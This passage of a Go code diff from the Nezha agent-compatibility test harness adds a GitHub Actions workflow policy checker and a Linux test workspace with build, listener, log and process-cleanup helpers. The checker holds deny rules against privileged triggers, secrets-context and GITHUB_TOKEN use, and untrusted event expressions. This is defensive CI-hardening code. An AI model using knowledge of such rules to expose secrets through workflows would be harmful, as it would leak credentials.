mappingValue(root, "concurrency") + if !exists || !validConcurrency(concurrency) { + node := root + if exists { + node = concurrency + } + detail := "workflow concurrency requires a nonempty group" + if exists { + if _, hasGroup := mappingValue(concurrency, "group"); hasGroup { + cancel, hasCancel := mappingValue(concurrency, "cancel-in-progress") + if hasCancel && (cancel.Kind != yaml.ScalarNode || cancel.Tag != "!!bool") { + detail = "workflow concurrency cancel-in-progress must be a boolean" + } + } + } + c.reject(RuleMissingConcurrency, at("$.concurrency", node), detail) + } + jobs, exists := mappingValue(root, "jobs") + if !exists || jobs.Kind != yaml.MappingNode || len(jobs.Content) == 0 { + node := root + if exists { + node = jobs + } + c.reject(RuleWorkflowStructure, at("$.jobs", node), "workflow jobs must be a nonempty mapping") + return + } + for _, entry := range mappingEntries(jobs) { + if entry[1].Kind != yaml.MappingNode { + c.reject(RuleWorkflowStructure, at("$.jobs."+entry[0].Value, entry[1]), "workflow job must be a mapping") + continue + } + c.checkJob(entry[0].Value, entry[1]) + } + c.checkRequiredAggregator(jobs) +} + +func (c *checker) checkForbiddenEnvironment(root *yaml.Node) { + walkMappings(root, func(mapping *yaml.Node) { + environment, exists := mappingValue(mapping, "env") + if !exists || environment.Kind != yaml.MappingNode { + return + } + for _, entry := range mappingEntries(environment) { + if strings.HasPrefix(strings.ToUpper(entry[0].Value), "GIT_") { + c.reject(RuleRepositoryNotLiteral, at("$.env."+entry[0].Value, entry[0]), fmt.Sprintf("Git configuration environment %s is forbidden", entry[0].Value)) + } + } + }) +} + +func validConcurrency(node *yaml.Node) bool { + if value, literal := scalarString(node); literal { + return strings.TrimSpace(value) != "" + } + group, exists := mappingValue(node, "group") + if !exists { + return false + } + value, literal := scalarString(group) + if !literal || strings.TrimSpace(value) == "" { + return false + } + cancel, exists := mappingValue(node, "cancel-in-progress") + return !exists || (cancel.Kind == yaml.ScalarNode && cancel.Tag == "!!bool") +} + +func (c *checker) checkTriggers(root *yaml.Node) { + trigger, exists := mappingValue(root, "on") + if !exists { + return + } + for _, forbidden := range []string{"pull_request_target", "workflow_run"} { + if containsScalar(trigger, forbidden) { + c.reject(RulePrivilegedTrigger, at("$.on."+forbidden, trigger), fmt.Sprintf("privileged trigger %s is forbidden", forbidden)) + } + } +} + +func (c *checker) checkSecretContexts(root *yaml.Node) { + walkScalars(root, func(node *yaml.Node) { + if strings.Contains(node.Value, "${{") && (secretContextPattern.MatchString(node.Value) || tokenSourcePattern.MatchString(node.Value)) { + detail := "secrets context is forbidden" + if tokenSourcePattern.MatchString(node.Value) { + detail = "github.token secret source is forbidden" + } + c.reject(RuleSecretContext, at("$", node), detail) + } + }) + walkMappings(root, func(mapping *yaml.Node) { + for _, entry := range mappingEntries(mapping) { + if strings.EqualFold(entry[0].Value, "GITHUB_TOKEN") { + c.reject(RuleSecretContext, at("$.env.GITHUB_TOKEN", entry[0]), "GITHUB_TOKEN secret source is forbidden") + } + } + }) +} + +func (c *checker) checkUntrustedExpressions(root *yaml.Node) { + walkScalars(root, func(node *yaml.Node) { + if expression := untrustedExpressionPattern.FindString(node.Value); expression != "" { + c.reject(RuleUntrustedExpression, at("$", node), fmt.Sprintf("untrusted github event expression %s is forbidden", expression)) + } + }) +} + +func (c *checker) checkPermissions(mapping *yaml.Node, path string, required bool) { + permissions, exists := mappingValue(mapping, "permissions") + if !exists { + if required { + c.reject(RuleWritePermission, at(path, mapping), "root permissions must be explicitly read-only") + } + return + } + if permissions.Kind == yaml.ScalarNode { + if permissions.Value != "read-all" { + c.reject(RuleWritePermission, at(path, permissions), fmt.Sprintf("permissions must be read-only, got %q", permissions.Value)) + } + return + } + if permissions.Kind != yaml.MappingNode { + c.reject(RuleWritePermission, at(path, permissions), "permissions must be read-all or a read-only mapping") + return + } + for _, entry := range mappingEntries(permissions) { + if entry[1].Kind != yaml.ScalarNode { + c.reject(RuleWritePermission, at(path+"."+entry[0].Value, entry[1]), "permission value must be a scalar read or none") + continue + } + value := strings.ToLower(strings.TrimSpace(entry[1].Value)) + if value != "read" && value != "none" { + c.reject(RuleWritePermission, at(path+"."+entry[0].Value, entry[1]), fmt.Sprintf("permission %s must be read or none, got %q", entry[0].Value, entry[1].Value)) + } + } +} + +func (c *checker) reject(rule Rule, location violationLocation, detail string) { + c.violations = append(c.violations, Violation{ + Rule: rule, Path: location.path, Line: location.node.Line, Column: location.node.Column, + Detail: detail, + }) +} diff --git a/integration/agentcompat/internal/workspace/build.go b/integration/agentcompat/internal/workspace/build.go new file mode 100644 index 00000000..b63bc8d1 --- /dev/null +++ b/integration/agentcompat/internal/workspace/build.go @@ -0,0 +1,83 @@ +//go:build linux + +package workspace + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" +) + +type BuildSpec struct { + Name string + SourceDir string + Package string + Tags []string + Ldflags []string + Env []string +} + +func (workspace *Workspace) Build(ctx context.Context, spec BuildSpec) (string, error) { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if err := workspace.requireOpen(); err != nil { + return "", err + } + if spec.SourceDir == "" || spec.Package == "" { + return "", errors.New("build source and package are required") + } + if err := validateLeafName(spec.Name); err != nil { + return "", err + } + binaryPath := filepath.Join(workspace.binDir, spec.Name) + arguments := []string{"build", "-mod=readonly", "-o", binaryPath} + if len(spec.Tags) > 0 { + arguments = append(arguments, "-tags", strings.Join(spec.Tags, ",")) + } + if len(spec.Ldflags) > 0 { + arguments = append(arguments, "-ldflags", strings.Join(spec.Ldflags, " ")) + } + arguments = append(arguments, spec.Package) + goExecutable, err := resolveGoExecutable() + if err != nil { + return "", err + } + command := exec.CommandContext(ctx, goExecutable, arguments...) // #nosec G204 -- Resolved absolute regular Go toolchain executable and fixed argv; no shell is invoked. + command.Dir = spec.SourceDir + command.Env = spec.Env + if spec.Env == nil { + command.Env = os.Environ() + } + output, err := command.CombinedOutput() + if err != nil { + return "", fmt.Errorf("build %s: %w: %s", spec.Name, err, output) + } + return binaryPath, nil +} + +func resolveGoExecutable() (string, error) { + candidates := []string{filepath.Join(runtime.GOROOT(), "bin", "go")} + if path, err := exec.LookPath("go"); err == nil { + candidates = append(candidates, path) + } + for _, candidate := range candidates { + absolute, err := filepath.Abs(candidate) + if err != nil { + continue + } + resolved, err := filepath.EvalSymlinks(absolute) + if err != nil { + continue + } + info, err := os.Stat(resolved) + if err == nil && info.Mode().IsRegular() && info.Mode()&0o111 != 0 { + return resolved, nil + } + } + return "", errors.New("Go toolchain executable is unavailable") +} diff --git a/integration/agentcompat/internal/workspace/listener.go b/integration/agentcompat/internal/workspace/listener.go new file mode 100644 index 00000000..6c634627 --- /dev/null +++ b/integration/agentcompat/internal/workspace/listener.go @@ -0,0 +1,95 @@ +//go:build linux + +package workspace + +import ( + "bufio" + "errors" + "fmt" + "os" + "strconv" + "strings" + "sync" + "syscall" +) + +type OwnedListener struct { + file *os.File + address string + inode uint64 + closeOnce sync.Once + closeErr error +} + +type ListenerIdentity struct { + Address string + Inode uint64 +} + +func (listener *OwnedListener) FileDescriptor() int { return int(listener.file.Fd()) } + +func (listener *OwnedListener) Address() string { return listener.address } + +func (listener *OwnedListener) Identity() ListenerIdentity { + return ListenerIdentity{Address: listener.address, Inode: listener.inode} +} + +func (listener *OwnedListener) ExtraFile() (*os.File, error) { + descriptor, err := syscall.Dup(listener.FileDescriptor()) + if err != nil { + return nil, fmt.Errorf("duplicate inherited listener FD: %w", err) + } + return os.NewFile(uintptr(descriptor), "agentcompat-listener"), nil +} + +func (listener *OwnedListener) Close() error { + listener.closeOnce.Do(func() { + if err := listener.file.Close(); err != nil && !errors.Is(err, os.ErrClosed) { + listener.closeErr = fmt.Errorf("close owned listener: %w", err) + } + }) + return listener.closeErr +} + +func socketInode(file *os.File) (uint64, error) { + target, err := os.Readlink("/proc/self/fd/" + strconv.Itoa(int(file.Fd()))) + if err != nil { + return 0, fmt.Errorf("read listener FD link: %w", err) + } + if !strings.HasPrefix(target, "socket:[") || !strings.HasSuffix(target, "]") { + return 0, errors.New("listener FD is not a socket") + } + inode, err := strconv.ParseUint(strings.TrimSuffix(strings.TrimPrefix(target, "socket:["), "]"), 10, 64) + if err != nil { + return 0, fmt.Errorf("parse listener inode: %w", err) + } + return inode, nil +} + +func listenerInodePresent(inode uint64) (bool, error) { + procNet, err := os.OpenRoot("/proc/self/net") + if err != nil { + return false, fmt.Errorf("open listener tables: %w", err) + } + defer procNet.Close() + for _, name := range []string{"tcp", "tcp6"} { + file, err := procNet.Open(name) + if err != nil { + return false, fmt.Errorf("open listener table %s: %w", name, err) + } + scanner := bufio.NewScanner(file) + for scanner.Scan() { + fields := strings.Fields(scanner.Text()) + if len(fields) >= 10 && fields[3] == "0A" && fields[9] == strconv.FormatUint(inode, 10) { + _ = file.Close() + return true, nil + } + } + scanErr := scanner.Err() + closeErr := file.Close() + if scanErr != nil || closeErr != nil { + return false, errors.Join(scanErr, closeErr) + } + } + return false, nil +} diff --git a/integration/agentcompat/internal/workspace/log.go b/integration/agentcompat/internal/workspace/log.go new file mode 100644 index 00000000..aff805e5 --- /dev/null +++ b/integration/agentcompat/internal/workspace/log.go @@ -0,0 +1,123 @@ +//go:build linux + +package workspace + +import ( + "bytes" + "errors" + "fmt" + "os" + "path/filepath" + "sync" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +const workspaceTruncationMarker = "[TRUNCATED]\n" + +type LogFile struct { + file *os.File + maxBytes int + written int + pending []byte + dropLine bool + closed bool + closeOnce sync.Once + closeErr error + mu sync.Mutex +} + +func newLogFile(path string, maxBytes int) (*LogFile, error) { + root, err := os.OpenRoot(filepath.Dir(path)) + if err != nil { + return nil, fmt.Errorf("open workspace log directory: %w", err) + } + defer root.Close() + file, err := root.OpenFile(filepath.Base(path), os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) + if err != nil { + return nil, fmt.Errorf("create workspace log: %w", err) + } + return &LogFile{file: file, maxBytes: maxBytes}, nil +} + +func (logFile *LogFile) Name() string { return logFile.file.Name() } + +func (logFile *LogFile) WriteString(value string) (int, error) { + return logFile.Write([]byte(value)) +} + +func (logFile *LogFile) Write(data []byte) (int, error) { + logFile.mu.Lock() + defer logFile.mu.Unlock() + if logFile.closed { + return 0, errors.New("write closed workspace log") + } + inputLength := len(data) + for len(data) > 0 { + newline := bytes.IndexByte(data, '\n') + if newline < 0 { + logFile.appendFragment(data) + break + } + logFile.appendFragment(data[:newline+1]) + if err := logFile.flushLine(); err != nil { + return 0, err + } + data = data[newline+1:] + } + return inputLength, nil +} + +func (logFile *LogFile) appendFragment(fragment []byte) { + if logFile.dropLine { + return + } + if len(logFile.pending)+len(fragment) > logFile.maxBytes { + logFile.pending = nil + logFile.dropLine = true + return + } + logFile.pending = append(logFile.pending, fragment...) +} + +func (logFile *LogFile) flushLine() error { + if logFile.dropLine { + logFile.dropLine = false + return logFile.writeBounded(workspaceTruncationMarker) + } + redacted := evidence.Redact(string(logFile.pending)) + logFile.pending = nil + if len(redacted) > logFile.maxBytes-logFile.written { + return logFile.writeBounded(workspaceTruncationMarker) + } + return logFile.writeBounded(redacted) +} + +func (logFile *LogFile) writeBounded(value string) error { + remaining := logFile.maxBytes - logFile.written + if remaining <= 0 || value == "" { + return nil + } + if len(value) > remaining { + value = value[:remaining] + } + written, err := logFile.file.WriteString(value) + logFile.written += written + if err != nil { + return fmt.Errorf("write workspace log: %w", err) + } + return nil +} + +func (logFile *LogFile) Close() error { + logFile.closeOnce.Do(func() { + logFile.mu.Lock() + defer logFile.mu.Unlock() + if len(logFile.pending) > 0 || logFile.dropLine { + logFile.closeErr = logFile.flushLine() + } + logFile.closed = true + logFile.closeErr = errors.Join(logFile.closeErr, logFile.file.Close()) + }) + return logFile.closeErr +} diff --git a/integration/agentcompat/internal/workspace/residue_test.go b/integration/agentcompat/internal/workspace/residue_test.go new file mode 100644 index 00000000..32bbbab7 --- /dev/null +++ b/integration/agentcompat/internal/workspace/residue_test.go @@ -0,0 +1,72 @@ +//go:build linux + +package workspace + +import ( + "context" + "errors" + "io" + "os" + "os/exec" + "strings" + "syscall" + "testing" +) + +func TestWorkspace_PreservesEvidenceWhenProcessGroupRemains(t *testing.T) { + // Given + workspace, err := New(context.Background()) + if err != nil { + t.Fatal(err) + } + root := workspace.Root() + command, input := startWorkspaceHelper(t) + if err := workspace.TrackProcessGroup(command.Process.Pid); err != nil { + t.Fatal(err) + } + + // When + err = workspace.Close() + + // Then + if err == nil || !strings.Contains(err.Error(), "process group") { + t.Fatalf("close error = %v", err) + } + if _, statErr := os.Stat(root); statErr != nil { + t.Fatalf("workspace evidence was removed: %v", statErr) + } + if err := input.Close(); err != nil { + t.Fatal(err) + } + if err := command.Wait(); err != nil { + t.Fatal(err) + } + if err := workspace.Close(); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(root); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("workspace remains after group exit: %v", err) + } +} + +func TestWorkspaceHelper(t *testing.T) { + if os.Getenv("GO_WANT_WORKSPACE_HELPER") != "1" { + return + } + _, _ = io.Copy(io.Discard, os.Stdin) +} + +func startWorkspaceHelper(t *testing.T) (*exec.Cmd, io.WriteCloser) { + t.Helper() + command := exec.Command(os.Args[0], "-test.run=^TestWorkspaceHelper$") + command.Env = append(os.Environ(), "GO_WANT_WORKSPACE_HELPER=1") + command.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + input, err := command.StdinPipe() + if err != nil { + t.Fatal(err) + } + if err := command.Start(); err != nil { + t.Fatal(err) + } + return command, input +} diff --git a/integration/agentcompat/internal/workspace/supervisor_exit_integration_test.go b/integration/agentcompat/internal/workspace/supervisor_exit_integration_test.go new file mode 100644 index 00000000..6a88c4a4 --- /dev/null +++ b/integration/agentcompat/internal/workspace/supervisor_exit_integration_test.go @@ -0,0 +1,250 @@ +//go:build linux && agentcompat + +package workspace + +import ( + "bufio" + "context" + "errors" + "fmt" + "net" + "os" + "os/exec" + "os/signal" + "path/filepath" + "strconv" + "strings" + "syscall" + "testing" + "time" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +const ( + workspaceExitHelperModeEnv = "NEZHA_AGENTCOMPAT_WORKSPACE_EXIT_HELPER" + workspaceExitHelperMarkerEnv = "NEZHA_AGENTCOMPAT_WORKSPACE_EXIT_MARKER" +) + +func TestWorkspace_SupervisorExitedPrecedesProcessGroupAndListenerCleanup(t *testing.T) { + // Given + workspace, err := New(context.Background()) + if err != nil { + t.Fatal(err) + } + root := workspace.Root() + listener, err := net.Listen("tcp4", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + ownedListener, err := workspace.AdoptListener(listener) + if err != nil { + t.Fatal(err) + } + inheritedFile, err := ownedListener.ExtraFile() + if err != nil { + t.Fatal(err) + } + descendantMarker := filepath.Join(t.TempDir(), "descendant.pid") + supervisor := processharness.NewSupervisor(t.Context(), processharness.Spec{ + Name: "workspace-exited-semantics", + Path: os.Args[0], + Args: []string{"-test.run=^TestWorkspaceExitHelper$"}, + Env: append(os.Environ(), workspaceExitHelperModeEnv+"=leader", workspaceExitHelperMarkerEnv+"="+descendantMarker), + ExtraFiles: []*os.File{inheritedFile}, + Stdout: os.Stdout, + Stderr: os.Stderr, + MaxLogBytes: 1024, + TerminateTimeout: time.Second, + KillTimeout: time.Second, + }) + if err := supervisor.Start(); err != nil { + t.Fatal(err) + } + if err := workspace.TrackPID(supervisor.PID()); err != nil { + t.Fatal(err) + } + if err := workspace.TrackProcessGroup(supervisor.ProcessGroupID()); err != nil { + t.Fatal(err) + } + if err := ownedListener.Close(); err != nil { + t.Fatal(err) + } + processGroupID := supervisor.ProcessGroupID() + + // When + select { + case <-supervisor.Exited(): + case <-time.After(2 * time.Second): + t.Fatal("leader did not exit") + } + descendantPID := readWorkspaceExitHelperPID(t, descendantMarker) + + // Then + select { + case <-supervisor.CleanupDoneForTest(): + t.Fatal("cleanup completed before Stop") + default: + } + if _, err := os.Stat(filepath.Join("/proc", strconv.Itoa(descendantPID))); err != nil { + t.Fatalf("descendant exited before cleanup: %v", err) + } + if descendantProcessGroupID := readProcessGroupID(t, descendantPID); descendantProcessGroupID != processGroupID { + t.Fatalf("descendant process group = %d, want %d", descendantProcessGroupID, processGroupID) + } + if err := syscall.Kill(-processGroupID, 0); err != nil { + t.Fatalf("process group exited before cleanup: %v", err) + } + requireProcessHoldsSocket(t, descendantPID, ownedListener.inode) + listenerPresent, err := listenerInodePresent(ownedListener.inode) + if err != nil { + t.Fatal(err) + } + if !listenerPresent { + t.Fatal("descendant listener disappeared before cleanup") + } + if err := workspace.Close(); err == nil { + t.Fatal("workspace closed before descendant cleanup") + } + if _, err := os.Stat(root); err != nil { + t.Fatalf("workspace disappeared before cleanup: %v", err) + } + + stopContext, cancel := context.WithTimeout(t.Context(), 2*time.Second) + defer cancel() + if err := supervisor.Stop(stopContext); err != nil { + t.Fatal(err) + } + select { + case <-supervisor.CleanupDoneForTest(): + case <-time.After(time.Second): + t.Fatal("cleanup completion signal did not close after Stop") + } + if err := workspace.Close(); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join("/proc", strconv.Itoa(descendantPID))); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("descendant remains after Stop: %v", err) + } + if err := syscall.Kill(-processGroupID, 0); !errors.Is(err, syscall.ESRCH) { + t.Fatalf("process group remains after Stop: %v", err) + } + listenerPresent, err = listenerInodePresent(ownedListener.inode) + if err != nil { + t.Fatal(err) + } + if listenerPresent { + t.Fatal("listener remains after Stop") + } + if _, err := os.Stat(root); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("workspace remains after cleanup: %v", err) + } +} + +func TestWorkspaceExitHelper(t *testing.T) { + switch os.Getenv(workspaceExitHelperModeEnv) { + case "": + return + case "leader": + runWorkspaceExitLeader(t) + case "descendant": + runWorkspaceExitDescendant(t) + default: + t.Fatalf("unknown workspace exit helper mode %q", os.Getenv(workspaceExitHelperModeEnv)) + } +} + +func runWorkspaceExitLeader(t *testing.T) { + t.Helper() + listenerFile := os.NewFile(3, "workspace-exit-listener") + child := exec.Command(os.Args[0], "-test.run=^TestWorkspaceExitHelper$") + child.Env = append(os.Environ(), workspaceExitHelperModeEnv+"=descendant", workspaceExitHelperMarkerEnv+"="+os.Getenv(workspaceExitHelperMarkerEnv)) + child.ExtraFiles = []*os.File{listenerFile} + stdout, err := child.StdoutPipe() + if err != nil { + t.Fatal(err) + } + if err := child.Start(); err != nil { + t.Fatal(err) + } + if err := listenerFile.Close(); err != nil { + t.Fatal(err) + } + scanner := bufio.NewScanner(stdout) + if !scanner.Scan() || scanner.Text() != "DESCENDANT_READY" { + t.Fatalf("descendant readiness = %q, err = %v", scanner.Text(), scanner.Err()) + } + fmt.Println("READY") +} + +func runWorkspaceExitDescendant(t *testing.T) { + t.Helper() + listenerFile := os.NewFile(3, "workspace-exit-listener") + listener, err := net.FileListener(listenerFile) + if err != nil { + t.Fatal(err) + } + if err := listenerFile.Close(); err != nil { + t.Fatal(err) + } + defer listener.Close() + if err := os.WriteFile(os.Getenv(workspaceExitHelperMarkerEnv), []byte(strconv.Itoa(os.Getpid())), 0o600); err != nil { + t.Fatal(err) + } + fmt.Println("DESCENDANT_READY") + signals := make(chan os.Signal, 1) + signal.Notify(signals, syscall.SIGTERM) + defer signal.Stop(signals) + <-signals +} + +func readWorkspaceExitHelperPID(t *testing.T, path string) int { + t.Helper() + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + pid, err := strconv.Atoi(strings.TrimSpace(string(data))) + if err != nil { + t.Fatal(err) + } + return pid +} + +func readProcessGroupID(t *testing.T, pid int) int { + t.Helper() + data, err := os.ReadFile(filepath.Join("/proc", strconv.Itoa(pid), "stat")) + if err != nil { + t.Fatal(err) + } + commandEnd := strings.LastIndex(string(data), ") ") + if commandEnd < 0 { + t.Fatalf("invalid process stat for PID %d", pid) + } + fields := strings.Fields(string(data)[commandEnd+2:]) + if len(fields) < 3 { + t.Fatalf("process stat for PID %d has %d fields after command", pid, len(fields)) + } + processGroupID, err := strconv.Atoi(fields[2]) + if err != nil { + t.Fatal(err) + } + return processGroupID +} + +func requireProcessHoldsSocket(t *testing.T, pid int, inode uint64) { + t.Helper() + descriptorDirectory := filepath.Join("/proc", strconv.Itoa(pid), "fd") + descriptors, err := os.ReadDir(descriptorDirectory) + if err != nil { + t.Fatal(err) + } + wantedTarget := fmt.Sprintf("socket:[%d]", inode) + for _, descriptor := range descriptors { + target, err := os.Readlink(filepath.Join(descriptorDirectory, descriptor.Name())) + if err == nil && target == wantedTarget { + return + } + } + t.Fatalf("PID %d does not hold %s", pid, wantedTarget) +} diff --git a/integration/agentcompat/internal/workspace/supervisor_integration_test.go b/integration/agentcompat/internal/workspace/supervisor_integration_test.go new file mode 100644 index 00000000..2ba0640e --- /dev/null +++ b/integration/agentcompat/internal/workspace/supervisor_integration_test.go @@ -0,0 +1,104 @@ +//go:build linux + +package workspace + +import ( + "context" + "fmt" + "net" + "os" + "os/signal" + "strconv" + "strings" + "syscall" + "testing" + "time" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +const workspaceListenerHelperEnv = "GO_WANT_WORKSPACE_LISTENER_HELPER" + +func TestWorkspace_TransfersListenerToSupervisorAndRemovesResidue(t *testing.T) { + // Given + workspace, err := New(context.Background()) + if err != nil { + t.Fatal(err) + } + root := workspace.Root() + listener, err := net.Listen("tcp4", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + owned, err := workspace.AdoptListener(listener) + if err != nil { + t.Fatal(err) + } + extraFile, err := owned.ExtraFile() + if err != nil { + t.Fatal(err) + } + supervisor := processharness.NewSupervisor(t.Context(), processharness.Spec{ + Name: "workspace-listener", + Path: os.Args[0], + Args: []string{"-test.run=^TestWorkspaceListenerHelper$"}, + Env: append(os.Environ(), workspaceListenerHelperEnv+"=3"), + ExtraFiles: []*os.File{extraFile}, + Stdout: os.Stdout, + Stderr: os.Stderr, + MaxLogBytes: 1024, + TerminateTimeout: 100 * time.Millisecond, + KillTimeout: time.Second, + Readiness: func(_ processharness.Stream, line string) bool { + return strings.Contains(line, "READY") + }, + }) + if err := supervisor.Start(); err != nil { + t.Fatal(err) + } + if err := workspace.TrackPID(supervisor.PID()); err != nil { + t.Fatal(err) + } + if err := workspace.TrackProcessGroup(supervisor.ProcessGroupID()); err != nil { + t.Fatal(err) + } + if err := supervisor.WaitReady(t.Context()); err != nil { + t.Fatal(err) + } + + // When + if err := supervisor.Stop(t.Context()); err != nil { + t.Fatal(err) + } + if err := workspace.Close(); err != nil { + t.Fatal(err) + } + + // Then + if _, err := os.Stat(root); !os.IsNotExist(err) { + t.Fatalf("workspace remains: %v", err) + } +} + +func TestWorkspaceListenerHelper(t *testing.T) { + rawDescriptor := os.Getenv(workspaceListenerHelperEnv) + if rawDescriptor == "" { + return + } + descriptor, err := strconv.Atoi(rawDescriptor) + if err != nil { + t.Fatal(err) + } + file := os.NewFile(uintptr(descriptor), "workspace-listener") + listener, err := net.FileListener(file) + if err != nil { + t.Fatal(err) + } + _ = file.Close() + defer listener.Close() + fmt.Println("READY") + signals := make(chan os.Signal, 1) + signal.Notify(signals, syscall.SIGTERM) + defer signal.Stop(signals) + <-signals +} diff --git a/integration/agentcompat/internal/workspace/workspace.go b/integration/agentcompat/internal/workspace/workspace.go new file mode 100644 index 00000000..7822ac25 --- /dev/null +++ b/integration/agentcompat/internal/workspace/workspace.go @@ -0,0 +1,265 @@ +//go:build linux + +package workspace + +import ( + "context" + "errors" + "fmt" + "net" + "os" + "path/filepath" + "strconv" + "strings" + "sync" + "syscall" +) + +const defaultLogBytes = 1024 * 1024 + +type Workspace struct { + root string + binDir string + logDir string + payloadDir string + done chan struct{} + closeMu sync.Mutex + closed bool + closing bool + mu sync.Mutex + logs []*LogFile + listeners []*OwnedListener + pids map[int]struct{} + groups map[int]struct{} +} + +func New(ctx context.Context) (*Workspace, error) { + root, err := os.MkdirTemp("", "nezha-agentcompat-") + if err != nil { + return nil, fmt.Errorf("create agent compatibility workspace: %w", err) + } + workspace := &Workspace{ + root: root, + binDir: filepath.Join(root, "bin"), + logDir: filepath.Join(root, "logs"), + payloadDir: filepath.Join(root, "payloads"), + done: make(chan struct{}), + pids: make(map[int]struct{}), + groups: make(map[int]struct{}), + } + for _, directory := range []string{workspace.binDir, workspace.logDir, workspace.payloadDir} { + if err := os.Mkdir(directory, 0o700); err != nil { + _ = os.RemoveAll(root) + return nil, fmt.Errorf("create workspace directory %s: %w", filepath.Base(directory), err) + } + } + go workspace.closeOnCancellation(ctx) + return workspace, nil +} + +func (workspace *Workspace) closeOnCancellation(ctx context.Context) { + select { + case <-ctx.Done(): + _ = workspace.Close() + case <-workspace.done: + } +} + +func (workspace *Workspace) Root() string { return workspace.root } + +func (workspace *Workspace) BinaryPath(name string) (string, error) { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if err := workspace.requireOpen(); err != nil { + return "", err + } + if err := validateLeafName(name); err != nil { + return "", err + } + return filepath.Join(workspace.binDir, name), nil +} + +func (workspace *Workspace) PayloadPath(name string) (string, error) { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if err := workspace.requireOpen(); err != nil { + return "", err + } + if err := validateLeafName(name); err != nil { + return "", err + } + return filepath.Join(workspace.payloadDir, name), nil +} + +func validateLeafName(name string) error { + if name == "" || name == "." || name == ".." || filepath.Base(name) != name || strings.ContainsRune(name, os.PathSeparator) { + return errors.New("workspace name must be one path component") + } + return nil +} + +func (workspace *Workspace) Log(name string) (*LogFile, error) { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if err := workspace.requireOpen(); err != nil { + return nil, err + } + if err := validateLeafName(name); err != nil { + return nil, err + } + logFile, err := newLogFile(filepath.Join(workspace.logDir, name+".log"), defaultLogBytes) + if err != nil { + return nil, err + } + workspace.mu.Lock() + workspace.logs = append(workspace.logs, logFile) + workspace.mu.Unlock() + return logFile, nil +} + +func (workspace *Workspace) AdoptListener(listener net.Listener) (*OwnedListener, error) { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if err := workspace.requireOpen(); err != nil { + return nil, err + } + tcpListener, ok := listener.(*net.TCPListener) + if !ok { + return nil, errors.New("workspace listener must be TCP") + } + address, ok := tcpListener.Addr().(*net.TCPAddr) + if !ok || !address.IP.IsLoopback() { + return nil, errors.New("workspace listener must be loopback TCP") + } + file, err := tcpListener.File() + if err != nil { + return nil, fmt.Errorf("duplicate workspace listener: %w", err) + } + inode, err := socketInode(file) + if err != nil { + _ = file.Close() + return nil, err + } + if err := tcpListener.Close(); err != nil { + _ = file.Close() + return nil, fmt.Errorf("transfer workspace listener ownership: %w", err) + } + owned := &OwnedListener{file: file, address: address.String(), inode: inode} + workspace.mu.Lock() + workspace.listeners = append(workspace.listeners, owned) + workspace.mu.Unlock() + return owned, nil +} + +func (workspace *Workspace) TrackPID(pid int) error { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if err := workspace.requireOpen(); err != nil { + return err + } + if pid < 1 { + return errors.New("tracked PID must be positive") + } + workspace.mu.Lock() + workspace.pids[pid] = struct{}{} + workspace.mu.Unlock() + return nil +} + +func (workspace *Workspace) TrackProcessGroup(processGroupID int) error { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if err := workspace.requireOpen(); err != nil { + return err + } + if processGroupID < 1 { + return errors.New("tracked process group ID must be positive") + } + workspace.mu.Lock() + workspace.groups[processGroupID] = struct{}{} + workspace.mu.Unlock() + return nil +} + +func (workspace *Workspace) Close() error { + workspace.closeMu.Lock() + defer workspace.closeMu.Unlock() + if workspace.closed { + return nil + } + workspace.closing = true + if err := workspace.close(); err != nil { + workspace.closing = false + return err + } + workspace.closed = true + close(workspace.done) + return nil +} + +func (workspace *Workspace) requireOpen() error { + if workspace.closed || workspace.closing { + return errors.New("workspace is closing or closed") + } + return nil +} + +func (workspace *Workspace) close() error { + workspace.mu.Lock() + logs := append([]*LogFile(nil), workspace.logs...) + listeners := append([]*OwnedListener(nil), workspace.listeners...) + pids := make([]int, 0, len(workspace.pids)) + for pid := range workspace.pids { + pids = append(pids, pid) + } + groups := make([]int, 0, len(workspace.groups)) + for processGroupID := range workspace.groups { + groups = append(groups, processGroupID) + } + workspace.mu.Unlock() + + var cleanupErrors []error + for _, logFile := range logs { + if err := logFile.Close(); err != nil { + cleanupErrors = append(cleanupErrors, err) + } + } + for _, listener := range listeners { + if err := listener.Close(); err != nil { + cleanupErrors = append(cleanupErrors, err) + } + } + for _, pid := range pids { + if _, err := os.Stat(filepath.Join("/proc", strconv.Itoa(pid))); err == nil { + cleanupErrors = append(cleanupErrors, fmt.Errorf("tracked PID %d remains", pid)) + } else if !errors.Is(err, os.ErrNotExist) { + cleanupErrors = append(cleanupErrors, fmt.Errorf("inspect tracked PID %d: %w", pid, err)) + } + } + for _, processGroupID := range groups { + if err := syscall.Kill(-processGroupID, 0); err == nil || errors.Is(err, syscall.EPERM) { + cleanupErrors = append(cleanupErrors, fmt.Errorf("tracked process group %d remains", processGroupID)) + } else if !errors.Is(err, syscall.ESRCH) { + cleanupErrors = append(cleanupErrors, fmt.Errorf("inspect tracked process group %d: %w", processGroupID, err)) + } + } + for _, listener := range listeners { + present, err := listenerInodePresent(listener.inode) + if err != nil { + cleanupErrors = append(cleanupErrors, err) + } else if present { + cleanupErrors = append(cleanupErrors, fmt.Errorf("listener %s inode %d remains", listener.address, listener.inode)) + } + } + if err := os.RemoveAll(workspace.payloadDir); err != nil { + cleanupErrors = append(cleanupErrors, fmt.Errorf("remove workspace payloads: %w", err)) + } else if _, err := os.Stat(workspace.payloadDir); !errors.Is(err, os.ErrNotExist) { + 